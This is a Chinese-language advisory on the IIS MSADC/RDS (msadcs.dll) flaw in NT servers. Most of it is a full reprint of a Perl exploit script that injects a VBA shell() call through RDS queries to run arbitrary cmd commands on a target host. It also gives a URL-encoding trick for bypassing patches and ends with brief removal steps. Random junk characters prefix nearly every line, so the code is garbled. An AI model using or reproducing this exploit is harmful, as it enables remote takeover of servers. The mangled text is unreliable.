IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
urMG*7i <c ecCr6) 涉及程序：
enSXP~ 9w Microsoft NT server
Z(ACc9k6:' `O[};3O & 描述：
=1 Oj*x@*4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L YaZ1* /oR<A 详细：
%0,#ADCqOe 如果你没有时间读详细内容的话，就删除:
R}4So1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
2IKnhBSV3 有关的安全问题就没有了。
A .EbXo/ T ^~5n6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
JAQb{KefdO " 6u s#T 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
FMClSeO7
关于利用ODBC远程漏洞的描述，请参看:
n=c
2K c P#XID 2; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O]1y0BOQ * Of4o 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Z`KC%!8K http://www.microsoft.com/security/bulletins/MS99-025faq.asp Nz],IG. RWg No #< 这里不再论述。
JQ6zVS2SSS ) `A3M) 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
:=/>Vbd: ) n 3D;"a3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
d [V;&U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
o8-^cP1 LS88.w\=S@ Zy(W^~NT #将下面这段保存为txt文件，然后: "perl -x 文件名"
f v9V7 Te}8!_ohyC #!perl
fDvl/|62{ #
EodQ*{l # MSADC/RDS 'usage' (aka exploit) script
'{ V0M<O #
?Vf o+a, # by rain.forest.puppy
N =QfP #
Y! gCMLL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
b7wvaRe. # beta test and find errors!
8F&=a,ps[ qIIv6''5@ use Socket; use Getopt::Std;
h?8] C#6^ getopts("e:vd:h:XR", \%args);
<\}KT*Xp H P3lz,d print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zN"J}r: P)MDPI+~ if (!defined $args{h} && !defined $args{R}) {
(KF=On;=Y print qq~
twlk-2yT! Usage: msadc.pl -h <host> { -d <delay> -X -v }
; o 0&`b? -h <host> = host you want to scan (ip or domain)
#EsNeBu -d <seconds> = delay between calls, default 1 second
I$ 0)Px%z -X = dump Index Server path table, if available
, Qnd3[2[ -v = verbose
ML8<4o -e = external dictionary file for step 5
H
s"HID )> ` G Or a -R will resume a command session
6DuEL=C [3--(#R\}? ~; exit;}
:kf`? u `R=HKtr? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|]ZYa.+: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=MLcm^b if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
OC<5E121>Y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
By9*1H2R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-Q mO1U if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q&eQQ6b^Ih M #=]
k if (!defined $args{R}){ $ret = &has_msadc;
A3S<.. g2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}C>{u Xv @ Q/-s9b print "Please type the NT commandline you want to run (cmd /c assumed):\n"
82QGS$0V . "cmd /c ";
/(BMG/Tb $in=<STDIN>; chomp $in;
q~vDz]\G $command="cmd /c " . $in ;
nC}6B).el !gv`F E9y if (defined $args{R}) {&load; exit;}
X6mqi; + q Qsku;C?i print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
frT]5?{ &try_btcustmr;
0#S W! b|% K?zH3 5f$ print "\nStep 2: Trying to make our own DSN...";
)l[M
Q4vWW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;Mpy#yIU. $W9{P; print "\nStep 3: Trying known DSNs...";
E8n)}[k!0 &known_dsn;
9J>&29@us0 nCj2N,mT print "\nStep 4: Trying known .mdbs...";
]5$eAYq &known_mdb;
H+ 0$tHi 6^"=dn6K if (defined $args{e}){
'toa@5 print "\nStep 5: Trying dictionary of DSN names...";
nx^]>w &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B {C??g8/ Xp8]qH|K print "Sorry Charley...maybe next time?\n";
vL\&6n~M> exit;
y LdVd
P $} =krz:r ##############################################################################
(s7;^)}z x lobGj8uxq sub sendraw { # ripped and modded from whisker
75T7+:p sleep($delay); # it's a DoS on the server! At least on mine...
B,@ c; K my ($pstr)=@_;
}= 6'MjF] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0VGPEKRh die("Socket problems\n");
L_+k12lm if(connect(S,pack "SnA4x8",2,80,$target)){
k'IYA#T6 select(S); $|=1;
}c`fW& print $pstr; my @in=<S>;
_;~,Cgfi select(STDOUT); close(S);
> 9(hUH return @in;
~D5\O6mU- } else { die("Can't connect...\n"); }}
OQ>x5?um
o (r\E0 I ##############################################################################
R&Jm
+3N $ n+w$CI) sub make_header { # make the HTTP request
;ml)l~~YU my $msadc=<<EOT
LK, bO| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Pp`*]Ib User-Agent: ACTIVEDATA
hDcEGU_ Host: $ip
vpld*TL* Content-Length: $clen
sZL#xZ5
Df Connection: Keep-Alive
fD07VBS yl ?F6pEt4 ADCClientVersion:01.06
_',pr Z* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b r^_'1 rZfN +S,g --!ADM!ROX!YOUR!WORLD!
mi)LP?q Content-Type: application/x-varg
_-9@q e Content-Length: $reqlen
?}RSw l
;M_o)OS 3 EOT
S`"LV $8 ; $msadc=~s/\n/\r\n/g;
]"1`+q6i return $msadc;}
I-WhH>9 &znQ;NH# ##############################################################################
KA){''>8 E !a |Xp sub make_req { # make the RDS request
\yd
s5g!: my ($switch, $p1, $p2)=@_;
-x'z
XvWZ my $req=""; my $t1, $t2, $query, $dsn;
>9q&PEc |iR T!
] if ($switch==1){ # this is the btcustmr.mdb query
|d*&y#kV $query="Select * from Customers where City=" . make_shell();
tvu!< dxZ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
sp5eVAd $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Tjl:|F8 pDh{Z g6t elsif ($switch==2){ # this is general make table query
T.We: ,{ $query="create table AZZ (B int, C varchar(10))";
v|Yh w $dsn="$p1";}
Pj4/ xX GF>' \@T h elsif ($switch==3){ # this is general exploit table query
7G\\{ $query="select * from AZZ where C=" . make_shell();
)EL!D%<A $dsn="$p1";}
j8 fpj {hp 0MkSf * elsif ($switch==4){ # attempt to hork file info from index server
??i,Vr@)w $query="select path from scope()";
Q<KvBg mT $dsn="Provider=MSIDXS;";}
z j/!In #ssN027 elsif ($switch==5){ # bad query
EC\yz H*X $query="select";
wQiX <)O $dsn="$p1";}
T[sDVkCbxf :k3Nt5t! $t1= make_unicode($query);
^B@Wp $t2= make_unicode($dsn);
>2J dq $req = "\x02\x00\x03\x00";
8 S<@" v $req.= "\x08\x00" . pack ("S1", length($t1));
&3$ z4df
$req.= "\x00\x00" . $t1 ;
m^#rB`0;L $req.= "\x08\x00" . pack ("S1", length($t2));
qqu.EE $req.= "\x00\x00" . $t2 ;
C%U`"-%n@7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
BWM YpZom return $req;}
^.hoLwp. kf;/c}} ##############################################################################
Q^q1 ns;r ~",`,ZXQy sub make_shell { # this makes the shell() statement
.'rW .'Ft return "'|shell(\"$command\")|'";}
?@6/E<-Z$
ec gtUb8K ##############################################################################
Cf:#( D u_ '!_T L sub make_unicode { # quick little function to convert to unicode
4 lM8\Lr my ($in)=@_; my $out;
^RP)>d9Xp{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
DZv=\<$,LF return $out;}
7y z4'L Vm d f8[5 ##############################################################################
sv uq gSn "d $m@c sub rdo_success { # checks for RDO return success (this is kludge)
>^Yq|~[ my (@in) = @_; my $base=content_start(@in);
sk
2-5S if($in[$base]=~/multipart\/mixed/){
IhBp%^H0- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2l
F>1vH return 0;}
2Y>~k{AN% ~O]]N;>72" ##############################################################################
! Mu|mz= PZm:T +5H sub make_dsn { # this makes a DSN for us
X5khCL Hi my @drives=("c","d","e","f");
}#qGqY*@LK print "\nMaking DSN: ";
cI=r+ OGk* foreach $drive (@drives) {
:M cu print "$drive: ";
\o Eo~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
f_imyzP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
581e+iC~<H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t( +) # $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ik[ s return 0 if $2 eq "404"; # not found/doesn't exist
E%'~'[Q if($2 eq "200") {
0z[dl Hi foreach $line (@results) {
d)[;e() return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
TeWMp6u,r } return 0;}
`D":Q=: |8.(Xs N ##############################################################################
$F/EJ> [tH-D$V sub verify_exists {
I`w4 Xrd my ($page)=@_;
U|5nNiJM my @results=sendraw("GET $page HTTP/1.0\n\n");
7;tJK^J` return $results[0];}
!bD@aVf?5 nD0}wiL{ ##############################################################################
I0'[!kBF| Khe!g1=&X sub try_btcustmr {
iajX ~k v my @drives=("c","d","e","f");
[Cb` { my @dirs=("winnt","winnt35","winnt351","win","windows");
NziZTU} .iQT5c foreach $dir (@dirs) {
-\y-qHgb/ print "$dir -> "; # fun status so you can see progress
Hi
yc#-4 foreach $drive (@drives) {
+*n-<x5" print "$drive: "; # ditto
;=9
>MS} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}HG#s4 $reqlenlen=length( "$reqlen" );
eVR5Xar $clen= 206 + $reqlenlen + $reqlen;
v$)q($}p A+&xMM2Wj my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2T ES>} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{66fG53x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
sjM;s{ gy 8`]= C~ G ##############################################################################
ZZj~GQL(S a2f^x@0k sub odbc_error {
Y9=(zOqv my (@in)=@_; my $base;
6MG9 a>= my $base = content_start(@in);
K YkS9_y F if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
i `0 v#P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5I,gBT|B $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z*a8sr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$v`afd y return $in[$base+4].$in[$base+5].$in[$base+6];}
O Lc}_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ka| eFprS print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zi'Jr)n $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S/`%Q2za4 $x#FgD(iI ##############################################################################
D&ve15wL /oL; YIoQX sub verbose {
/R
L I,.% my ($in)=@_;
+xXH2b$wWC return if !$verbose;
e8EfQ1 Ar print STDOUT "\n$in\n";}
ai'4_ ;+I/ I9~ ##############################################################################
jDRe)bo4 n q1 9 Q) sub save {
%Td )0Lqp my ($p1, $p2, $p3, $p4)=@_;
u0RS)&
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%y<ejM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2T)sXB u close OUT;}
6QNs\Ucb+ #n ##############################################################################
L!'k ! k =l9T7az sub load {
&W6^6=E{g my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
F=)&98^v$_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j+8TlVur @p=<IN>; close(IN);
J R PSvP\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+y#T?!jQYj $target= inet_aton($ip) || die("inet_aton problems");
O%f8I'u$ print "Resuming to $ip ...";
}K(o9$V ^! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
UzKFf&-:;K if($p[1]==1) {
f{lZKfrp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
MD Re(rF= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)B!d,HKt; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A
K/z6XGy if (rdo_success(@results)){print "Success!\n";}
70 B)|<$ else { print "failed\n"; verbose(odbc_error(@results));}}
XTeb9h)3 elsif ($p[1]==3){
CodSJ, if(run_query("$p[3]")){
% 5 print "Success!\n";} else { print "failed\n"; }}
_ J]2~b elsif ($p[1]==4){
r,N[ )@ if(run_query($drvst . "$p[3]")){
nW+YOX|+ print "Success!\n"; } else { print "failed\n"; }}
up%Z$"Y exit;}
l+y}4 k=/ Hwm?#6\ 5 ##############################################################################
jko"MfJ p{=QGrxB* sub create_table {
cE { =(OQ my ($in)=@_;
#)`A7 $/, $reqlen=length( make_req(2,$in,"") ) - 28;
lM# A3/=K $reqlenlen=length( "$reqlen" );
O}#yijU3e $clen= 206 + $reqlenlen + $reqlen;
O {k:yVb my @results=sendraw(make_header() . make_req(2,$in,""));
]Y. deVw3i return 1 if rdo_success(@results);
fA! 6sB my $temp= odbc_error(@results); verbose($temp);
\;]kYO} return 1 if $temp=~/Table 'AZZ' already exists/;
15zrrU~D return 0;}
}Uf<ZXW uD[ "{?H ##############################################################################
df=z F.5 S^cH}- + sub known_dsn {
}wSy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0ZC,BS`D^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
i_F$&?) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QfQ\a%cc "banner", "banners", "ads", "ADCDemo", "ADCTest");
}t>q9bZ9z =f:(r'm?r. foreach $dSn (@dsns) {
A CV ek print ".";
DI&MC9j( next if (!is_access("DSN=$dSn"));
YCw('i(| if(create_table("DSN=$dSn")){
D22Lu ;E print "$dSn successful\n";
q2_`v5t if(run_query("DSN=$dSn")){
_a+ICqR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ex?\ c" print "Something's borked. Use verbose next time\n";}}} print "\n";}
"L3Xd][ TRKgBK$, ##############################################################################
>]}yXg=QK+ vN{- ?
sub is_access {
EX ?h0Uy my ($in)=@_;
~2/{3m{3 A $reqlen=length( make_req(5,$in,"") ) - 28;
~F#A
Pt $reqlenlen=length( "$reqlen" );
OCHm; $clen= 206 + $reqlenlen + $reqlen;
wH!#aB>k P my @results=sendraw(make_header() . make_req(5,$in,""));
K@@9:T$ my $temp= odbc_error(@results);
j [ P8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
aQcN&UA@ return 0;}
kd;'}x=5yP !%mi&ak(Rn ##############################################################################
W>L@j( Q-zdJt sub run_query {
4w {-'M.B my ($in)=@_;
Yb= 6C3l@ $reqlen=length( make_req(3,$in,"") ) - 28;
wk 02[ $reqlenlen=length( "$reqlen" );
E ' %lxr $clen= 206 + $reqlenlen + $reqlen;
[[qwaI my @results=sendraw(make_header() . make_req(3,$in,""));
CW:gEm+ return 1 if rdo_success(@results);
D&*LBQ/K my $temp= odbc_error(@results); verbose($temp);
>;i\v7 return 0;}
Qg0vG] '@:[axu ##############################################################################
{rPk3 d.pp3D 9/ sub known_mdb {
=ef1XQ{i* my @drives=("c","d","e","f","g");
JfTfAq] my @dirs=("winnt","winnt35","winnt351","win","windows");
3#Y3Dz` my $dir, $drive, $mdb;
Q-R}qy5y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V_;9TC %yaG,;>U # this is sparse, because I don't know of many
DuF7HTN[K my @sysmdbs=( "\\catroot\\icatalog.mdb",
+AK:(r "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?mOg@) wx "\\system32\\certmdb.mdb",
<pOl[5v] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*fP(6e#G, > QI~`MiI my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.v,bXU$@YG "\\cfusion\\cfapps\\forums\\forums_.mdb",
6s,2Ne VWa "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)
p^ "\\cfusion\\cfapps\\security\\realm_.mdb",
G\1J _al "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Lh 9S8E U "\\cfusion\\database\\cfexamples.mdb",
d,R6` i "\\cfusion\\database\\cfsnippets.mdb",
L#j |2H| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
6;JP76PD "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o zxY H], "\\cfusion\\brighttiger\\database\\cleam.mdb",
Z( #Ln "\\cfusion\\database\\smpolicy.mdb",
| mj#
0 "\\cfusion\\database\cypress.mdb",
+t>XxYScx "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T _ ~KxQ "\\website\\cgi-win\\dbsample.mdb",
O3ZM:,. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Za!w#j%h "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1D$:: {h ); #these are just
d_iY&-gq/ foreach $drive (@drives) {
J v<$*TVS0 foreach $dir (@dirs){
Ofm5[q = foreach $mdb (@sysmdbs) {
]xR4- >eix print ".";
g9qC{x d if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
] SK[C"
S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NV#')+Ba if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<9\,Q R) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
01nsdZ- } else { print "Something's borked. Use verbose next time\n"; }}}}}
-]QguZE C<t RU5| foreach $drive (@drives) {
C*O
,rm} foreach $mdb (@mdbs) {
bp Ml =_ print ".";
M]B3vPA/v if(create_table($drv . $drive . $dir . $mdb)){
W^(Iw%ek print "\n" . $drive . $dir . $mdb . " successful\n";
o
PaZ if(run_query($drv . $drive . $dir . $mdb)){
wA r~< print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!
o^Ic`FhS } else { print "Something's borked. Use verbose next time\n"; }}}}
cno;>[$ }
u 6(GM 6+Jry@ ##############################################################################
9>{t }I d <~O}6HQ# sub hork_idx {
c
`ud;lI print "\nAttempting to dump Index Server tables...\n";
? {j@6, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N<"`ShCNM $reqlen=length( make_req(4,"","") ) - 28;
E&9!1!B $reqlenlen=length( "$reqlen" );
leIy|K>\m $clen= 206 + $reqlenlen + $reqlen;
a hw y_\ my @results=sendraw2(make_header() . make_req(4,"",""));
XSl !T/d if (rdo_success(@results)){
\kk!Dz*H my $max=@results; my $c; my %d;
q\U4n[Zk for($c=19; $c<$max; $c++){
{,F/KL^u $results[$c]=~s/\x00//g;
+',^((o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`x4E ;Wjv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|1i]L @& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
|>@ -grs $d{"$1$2"}="";}
mo* '"/ foreach $c (keys %d){ print "$c\n"; }
: K;T Q } else {print "Index server doesn't seem to be installed.\n"; }}
zS?n>ElI @% H8"A ##############################################################################
$vqU|]J` TC@bL<1 sub dsn_dict {
YnD#p[Wo^ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*) }
:l while(<IN>){
bHJoEYY^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
m8u=u4z(" next if (!is_access("DSN=$dSn"));
dQ`:8S K if(create_table("DSN=$dSn")){
Dh?vU~v(6 print "$dSn successful\n";
W[GQ[h if(run_query("DSN=$dSn")){
X
[!X>w&z| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.c: )Qli print "Something's borked. Use verbose next time\n";}}}
rd|crD 3 print "\n"; close(IN);}
(tpof
5a g#Mv&tU ##############################################################################
jPpRsw> eB7>t@ED sub sendraw2 { # ripped and modded from whisker
&
L3UlL sleep($delay); # it's a DoS on the server! At least on mine...
t5n2eOy~T my ($pstr)=@_;
qf)C%3gXI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U81;7L8 die("Socket problems\n");
'X|v+ ? if(connect(S,pack "SnA4x8",2,80,$target)){
mHHzCKE , print "Connected. Getting data";
.`mtA`N open(OUT,">raw.out"); my @in;
LjC6?a_?l select(S); $|=1; print $pstr;
*i%.{ YH while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
N
tO? close(OUT); select(STDOUT); close(S); return @in;
2H3 (HZv } else { die("Can't connect...\n"); }}
6QW<RXom ,b:n1 ##############################################################################
{:3.27jQ l3BD
<PB2S sub content_start { # this will take in the server headers
2DUr7r M my (@in)=@_; my $c;
[ h^f% for ($c=1;$c<500;$c++) {
C# ZhsWS!b if($in[$c] =~/^\x0d\x0a/){
{f&NStiB if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0 Ux<16 # else { return $c+1; }}}
4uX,uEa return -1;} # it should never get here actually
6mi$.'
qP @c0n2 Xcr ##############################################################################
(lieiye^ mZ~mf->% sub funky {
2|$lk8 /, my (@in)=@_; my $error=odbc_error(@in);
,zG <7~m if($error=~/ADO could not find the specified provider/){
8znj~7}# print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z2.*#xTZn exit;}
`(!W s\: if($error=~/A Handler is required/){
O 1|B3M[P print "\nServer has custom handler filters (they most likely are patched)\n";
G&.d)NfE exit;}
jT{f<P0 if($error=~/specified Handler has denied Access/){
\ibCR~W4 print "\nServer has custom handler filters (they most likely are patched)\n";
32s5-.{c/f exit;}}
Is<x31R >1m)%zt ##############################################################################
xnT3^ #-h m**0rpA sub has_msadc {
gH5CB%) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
vJ ~4D*(]l my $base=content_start(@results);
s c5\( b return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
tSI& "- return 0;}
v'h3CaA9j 7Nd*,DV_ ########################
T=^jCH & c]e`m6
vlAO z 解决方案：
4}+xeGA$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
zjea4>!A2 2、移除web 目录: /msadc
